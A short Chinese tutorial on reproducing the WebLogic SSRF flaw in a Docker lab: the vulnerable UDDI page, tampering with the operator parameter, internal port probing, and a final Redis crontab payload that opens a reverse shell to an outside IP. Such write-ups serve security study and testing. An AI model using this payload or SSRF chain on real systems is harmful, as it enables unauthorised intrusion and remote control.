如何实现Weblogic SSRF漏洞复现

今天就跟大家聊聊有关如何实现Weblogic SSRF漏洞复现，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。

一、使用docker搭建环境

docker安装及搭建环境教程：https://www.freebuf.com/sectool/252257.html

访问7001端口

二、漏洞复现步骤

1、漏洞存在页面 /uddiexplorer/SearchPublicRegistries.jsp

2、检查一下IBM这个地方看看

发现是个连接，这就可能存在ssrf了

3、使用burp suite抓包，点击Search

4、修改operator参数的连接

5、访问结果

访问不存在的端口返回 could not connect over HTTP

访问存在的端口返回状态码

访问内网

利用redis反弹shell的payload

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.151/1234 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontabsave

看完上述内容，你们对如何实现Weblogic SSRF漏洞复现有进一步的了解吗？如果还想了解更多知识或者相关内容，请关注行业资讯频道，感谢大家的支持。